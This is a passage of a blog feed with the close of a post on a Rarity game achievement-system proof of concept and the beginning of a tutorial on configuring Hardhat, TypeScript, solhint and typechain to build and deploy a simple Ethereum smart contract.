&lt;ul&gt;
&lt;li&gt;  Enable a way to unlock achievements when the user interacts with a contract&lt;/li&gt;
&lt;li&gt;  Enable to unlock content if the user has reached a certain amount of achievements points&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How does it work?
&lt;/h2&gt;

&lt;p&gt;To make it works and not allow random contracts to spam achievements I needed to make some ground rules. This is just a PoC and I hope to get some feedback that will allow me to find a more elegant and scalable solution.&lt;/p&gt;

&lt;p&gt;The ground rules are these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Achievements are bonded to the Summoner and not the Player&lt;/li&gt;
&lt;li&gt;  Summoner’s achievements are unique. You can’t unlock the same Achievement more than one time (at least for the moment).&lt;/li&gt;
&lt;li&gt;  Only whitelisted (approved by the Achievement System owner) contracts can add Achievements Metadata&lt;/li&gt;
&lt;li&gt;  Each contract can add a maximum of 10 achievements (this number needs to be defined better)&lt;/li&gt;
&lt;li&gt;  A contract can unlock a summoner’s achievement only if it’s the owner. For example, ContractA can unlock AchievementZ to summoner only if that specific achievement has been added by the ContractA itself. ContractA cannot ask the system to unlock an achievement owned by ContractB.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whitelisting contracts and achievements at the moment is the only way I had in mind to solve the spam/garbage issue that could come.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does this enable for the ecosystem?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  Players are more engaged to play the game to earn achievements&lt;/li&gt;
&lt;li&gt;  Contract with achievements will be used more&lt;/li&gt;
&lt;li&gt;  The overall longevity of the Rarity game is extended&lt;/li&gt;
&lt;li&gt;  Other contracts / dApp could enable some content only if the user has reached a minimum level of achievements points&lt;/li&gt;
&lt;li&gt;  Achievements points (that’s just an idea) could be “burned” to purchase specific item payable with achievements points instead of golds&lt;/li&gt;
&lt;li&gt;  More concepts to come&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What needs to be done? How could you help?
&lt;/h2&gt;

&lt;p&gt;If you want to follow the development of the project just head over these links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Rarity Achievement System on GitHub:  &lt;a href="https://github.com/StErMi/rarity-achievements"&gt;https://github.com/StErMi/rarity-achievements&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  Achievement System proposal on Rarity’s GitHub:  &lt;a href="https://github.com/andrecronje/rarity/issues/65"&gt;https://github.com/andrecronje/rarity/issues/65&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is still a Proof of Concept so it needs to be polished and things can change.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I don’t like of the current implementation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  “centralized” way to whitelist contracts that can add and unlock summoner’s achievements&lt;/li&gt;
&lt;li&gt;  contracts needs to hold FTM in order to whitelist and unlock achievements because it costs gas&lt;/li&gt;
&lt;li&gt;  the current “flow” it’s not superfluid, each contract must be whitelisted by hand and they need to implement a method that calls the  &lt;code&gt;whitelistAchievements&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every feedback, suggestion, and PR is very appreciated so don’t hesitate to create a GitHub issue or DM me on twitter!&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ftm</category>
      <category>web3</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>How to deploy your first smart contract on Ethereum with Solidity and Hardhat</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Sat, 18 Sep 2021 06:37:57 +0000</pubDate>
      <link>https://forem.com/stermi/how-to-deploy-your-first-smart-contract-on-ethereum-with-solidity-and-hardhat-5efc</link>
      <guid>https://forem.com/stermi/how-to-deploy-your-first-smart-contract-on-ethereum-with-solidity-and-hardhat-5efc</guid>
      <description>&lt;p&gt;I was planning to release a tutorial on how to deploy your first NFT smart contract but while I was writing it I understood that more than half of the content was about how to set up &lt;strong&gt;Hardhat&lt;/strong&gt; to have the &lt;strong&gt;perfect development environment&lt;/strong&gt; ready to go for your next project.&lt;/p&gt;

&lt;p&gt;So let’s start from here and when I’ll release the NFT tutorial you can leverage the work we have done today to be ready instantly to start developing your next smart contract. Shall we proceed?&lt;/p&gt;

&lt;h2&gt;
  
  
  What are you going to learn today?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  Configure Hardhat to compile, deploy, test, and debug your Solidity code&lt;/li&gt;
&lt;li&gt;  Write a smart contract&lt;/li&gt;
&lt;li&gt;  Test your smart contract&lt;/li&gt;
&lt;li&gt;  Deploy your smart contract on Rinkeby&lt;/li&gt;
&lt;li&gt;  Get your smart contract verified by Etherscan&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hardhat
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://hardhat.org/" rel="noopener noreferrer"&gt;Hardhat&lt;/a&gt; is the core tool we will be using today and a must-have if you need to develop and debug your smart contract locally before deploying it on the test net and then on the main net.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is Hardhat?
&lt;/h3&gt;

&lt;p&gt;Hardhat is a development environment to compile, deploy, test, and debug your Ethereum software. It helps developers manage and automate the recurring tasks that are inherent to the process of building smart contracts and dApps, as well as easily introducing more functionality around this workflow. This means compiling, running, and testing smart contracts at the very core.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why use hardhat?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  You can run Solidity locally to &lt;strong&gt;deploy, run, test, and debug&lt;/strong&gt; your contracts without dealing with live environments.&lt;/li&gt;
&lt;li&gt;  You get Solidity stack traces, console.log, and explicit error messages when transactions fail. Yeah, you heard it right, &lt;strong&gt;console.log&lt;/strong&gt; in your Solidity contract!&lt;/li&gt;
&lt;li&gt;  Tons of &lt;strong&gt;plugins&lt;/strong&gt; to add cool functionalities and allows you to integrate your existing tools. We will use a couple of them to feel that magic!&lt;/li&gt;
&lt;li&gt;  Full native support for &lt;strong&gt;TypeScript&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Useful links to learn more
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/" rel="noopener noreferrer"&gt;Official website&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/plugins/" rel="noopener noreferrer"&gt;Plugins&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/getting-started/" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/tutorial/" rel="noopener noreferrer"&gt;Tutorial&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/nomiclabs/hardhat" rel="noopener noreferrer"&gt;GitHub Repository&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/discord" rel="noopener noreferrer"&gt;Discord Community&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Create your first Hardhat project
&lt;/h2&gt;

&lt;p&gt;It’s time to open your Terminal, your Visual Studio code IDE, and start building!&lt;/p&gt;

&lt;h3&gt;
  
  
  What project are we going to build?
&lt;/h3&gt;

&lt;p&gt;In this tutorial, we are going to build an “easy” smart contract. It will be pretty stupid but our main goal here is to configure hardhat and deploy the contract, not for the contract purpose.&lt;/p&gt;

&lt;p&gt;What will the contract do?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Track the “purpose” of the contract in a string that will be publicly visible&lt;/li&gt;
&lt;li&gt;  You can change the purpose only if you pay more than the previous owner&lt;/li&gt;
&lt;li&gt;  You cannot change the purpose if you are already the owner&lt;/li&gt;
&lt;li&gt;  You can withdraw your ETH only if you are not the current purpose’s owner&lt;/li&gt;
&lt;li&gt;  Emit a PurposeChange event when the purpose has changed&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Create the project, init it and configure Hardhat
&lt;/h3&gt;

&lt;p&gt;Open your terminal and let’s go. We will call our project &lt;strong&gt;world-purpose!&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir world-purpose  
cd world-purpose  
npm init -y  
yarn add --dev hardhat  
npx hardhat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;With &lt;code&gt;npx hardhat&lt;/code&gt; the hardhat wizard will kickstart helping you configure your project.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Choose &lt;code&gt;Create a basic sample project&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  Choose the default &lt;code&gt;Hardhat project root&lt;/code&gt; because in this tutorial we are only configuring hardhat.&lt;/li&gt;
&lt;li&gt;  Confirm to add the &lt;code&gt;.gitignore&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  Confirm to install the &lt;code&gt;sample project's dependecies with yarn&lt;/code&gt; this will install some required dependencies for your project that we will use along the way&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now your project structure should have these files/folder&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;contracts&lt;/code&gt; where all your contracts will be stored&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;scripts&lt;/code&gt; where all your scripts/tasks will be stored&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;test&lt;/code&gt; where your smart contract tests will be stored&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;hardhat.config.js&lt;/code&gt; where you will configure your hardhat project&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Important hardhat commands and concepts you should master
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/config/" rel="noopener noreferrer"&gt;Hardhat Configuration file&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/guides/create-task.html" rel="noopener noreferrer"&gt;Hardhat Tasks&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;npx hardhat node&lt;/code&gt; — Run the node task to start a JSON-RPC server on top of Hardhat Network (your local ethereum blockchain)&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;npx hardhat test&lt;/code&gt; — To run tests stored in the test folder&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;npx hardhat compile&lt;/code&gt; — To compile the entire project, building your smart contracts&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;npx hardhat clean&lt;/code&gt; — To clean the cache and delete compiled smart contracts&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;npx hardhat run —-network &amp;lt;network&amp;gt; script/path&lt;/code&gt; — To run a specific script in a specific &lt;code&gt;network&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Add TypeScript Support
&lt;/h3&gt;

&lt;p&gt;As we said Hardhat supports typescript natively and we will be using it. Using javascript or typescript doesn’t change much but this is my personal preference because I think that it allows you to make fewer errors and understand better how to use external libraries.&lt;/p&gt;

&lt;p&gt;Let’s install some needed dependencies&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yarn add --dev ts-node typescriptyarn add --dev chai @types/node @types/mocha @types/chai&lt;/code&gt;ddd&lt;/p&gt;

&lt;p&gt;Change the hardhat configuration file extension to &lt;code&gt;.ts&lt;/code&gt; and update the content with this&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;p&gt;Now create a default &lt;code&gt;tsconfig.json&lt;/code&gt; in the root of your project with this content&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"compilerOptions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"es2018"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"module"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"commonjs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"strict"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"esModuleInterop"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"outDir"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dist"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"include"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"./scripts"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"./test"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"files"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"./hardhat.config.ts"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now update also the test file and script file to the typescript file type &lt;code&gt;.ts&lt;/code&gt; and change their code.&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;




&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;p&gt;Let’s test that everything is working correctly&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx hardhat test  
npx hardhat node  
npx hardhat run --network localhost scripts/sample-script.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Let’s add some Hardhat plugins and some code utilities
&lt;/h2&gt;
&lt;h3&gt;
  
  
  add solhint, solhint-plugin-prettier, and hardhat-solhint plugin
&lt;/h3&gt;

&lt;p&gt;Now we want to add support to &lt;code&gt;solhint&lt;/code&gt; a linting utility for Solidity code that will help us to follow strict rules while we develop our smart contract. These rules a useful for both follow the code style standard best practice and adhering to the best security approaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;solhint+solhint prettier&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yarn add --dev solhint solhint-plugin-prettier prettier prettier-plugin-solidity&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add a &lt;code&gt;.solhint.json&lt;/code&gt; configuration file in your root folder&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"plugins"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"prettier"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
    &lt;/span&gt;&lt;span class="nl"&gt;"prettier/prettier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Add a &lt;code&gt;.prettierrc&lt;/code&gt; config file and add styles as you prefer. This is my personal choice&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"arrowParens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"always"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"singleQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"bracketSpacing"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"trailingComma"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"all"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"printWidth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="nl"&gt;"overrides"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
      &lt;/span&gt;&lt;span class="nl"&gt;"files"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*.sol"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
      &lt;/span&gt;&lt;span class="nl"&gt;"options"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
        &lt;/span&gt;&lt;span class="nl"&gt;"printWidth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
        &lt;/span&gt;&lt;span class="nl"&gt;"tabWidth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
        &lt;/span&gt;&lt;span class="nl"&gt;"useTabs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
        &lt;/span&gt;&lt;span class="nl"&gt;"singleQuote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
        &lt;/span&gt;&lt;span class="nl"&gt;"bracketSpacing"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
        &lt;/span&gt;&lt;span class="nl"&gt;"explicitTypes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"always"&lt;/span&gt;&lt;span class="w"&gt;  
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If you want to know more about solhint and its prettier plugin checkout their documentation site&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://github.com/protofire/solhint/" rel="noopener noreferrer"&gt;Solhint&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/prettier-solidity/prettier-plugin-solidity" rel="noopener noreferrer"&gt;Prettier Plugin Solidity&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/fvictorio/solhint-plugin-prettier" rel="noopener noreferrer"&gt;Solhint plugin Prettier&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;hardhat-solhint&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you want to know more follow the Hardhat &lt;a href="https://hardhat.org/plugins/nomiclabs-hardhat-solhint.html" rel="noopener noreferrer"&gt;solhint plugin documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yarn add --dev @nomiclabs/hardhat-solhint&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and update the hardhat config adding this line to the import&lt;/p&gt;

&lt;p&gt;&lt;code&gt;import “[@nomiclabs/hardhat-solhint](http://twitter.com/nomiclabs/hardhat-solhint "Twitter profile for @nomiclabs/hardhat-solhint")”;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  typechain for typed contract support
&lt;/h3&gt;

&lt;p&gt;This part is totally optional. As I said I love typescript and I like to use it everywhere whenever it’s possible. Adding support to contract types allow me to know perfectly which functions are available, which parameters are needed of which type, and what are they returning.&lt;/p&gt;

&lt;p&gt;You could totally go without it but I highly suggest you follow this step.&lt;/p&gt;

&lt;p&gt;Why typechain?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Zero Config Usage&lt;/strong&gt; — Run the &lt;em&gt;compile&lt;/em&gt; task as normal, and Typechain artifacts will automatically be generated in a root directory called &lt;code&gt;typechain&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Incremental generatio&lt;/strong&gt;n — Only recompiled files will have their types regenerated&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Frictionless&lt;/strong&gt; — return type of &lt;code&gt;ethers.getContractFactory&lt;/code&gt; will be typed properly - no need for casts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to dig deeper into these projects and know all the possible configuration options you can follow these links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://hardhat.org/plugins/typechain-hardhat.html" rel="noopener noreferrer"&gt;Typechain Hardhat&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/dethcrypto/TypeChain" rel="noopener noreferrer"&gt;Typechain GitHub Repository&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s do it&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yarn add --dev typechain @typechain/hardhat @typechain/ethers-v5&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add these imports to your Hardhat config file&lt;/p&gt;

&lt;p&gt;&lt;code&gt;import '@typechain/hardhat'import '@nomiclabs/hardhat-ethers'import '@nomiclabs/hardhat-waffle'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add &lt;code&gt;"resolveJsonModule": true&lt;/code&gt; to your &lt;code&gt;tsconfig.json&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now when you compile your contract typechain will generate the corresponding types into the &lt;code&gt;typechain&lt;/code&gt; folder and you will be able to use it in your tests and web app!&lt;/p&gt;

&lt;p&gt;Updated the tests file to use Typechain generated types&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;h3&gt;
  
  
  Update scripts in &lt;code&gt;package.json&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This part is totally optional but it allow you to run command faster and preconfigure them. Open your &lt;code&gt;package.json&lt;/code&gt; and override the &lt;code&gt;scripts&lt;/code&gt; section with these commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"clean"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx hardhat clean"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"chain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx hardhat node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"deploy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx hardhat run --network localhost scripts/deploy.ts"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"deploy:rinkeby"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx hardhat run --network rinkeby scripts/deploy.ts"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"test"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx hardhat test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now if you want to simply run the Hardhat node you can write in your console &lt;code&gt;yarn chain&lt;/code&gt; and boom! We are ready to go!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you have skipped the TypeScript part and you want to use only Javascript just change those &lt;code&gt;.ts&lt;/code&gt; back to &lt;code&gt;.js&lt;/code&gt; and everything will work as expected.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Developing the smart contract
&lt;/h2&gt;

&lt;p&gt;Ok, now we are really ready to go. Rename &lt;code&gt;Greeter.sol&lt;/code&gt; in your &lt;code&gt;contracts&lt;/code&gt; folder to &lt;code&gt;WorldPurpose.sol&lt;/code&gt; and we will start building from here.&lt;/p&gt;

&lt;p&gt;Our contract needs to do these things:&lt;/p&gt;

&lt;ul&gt;
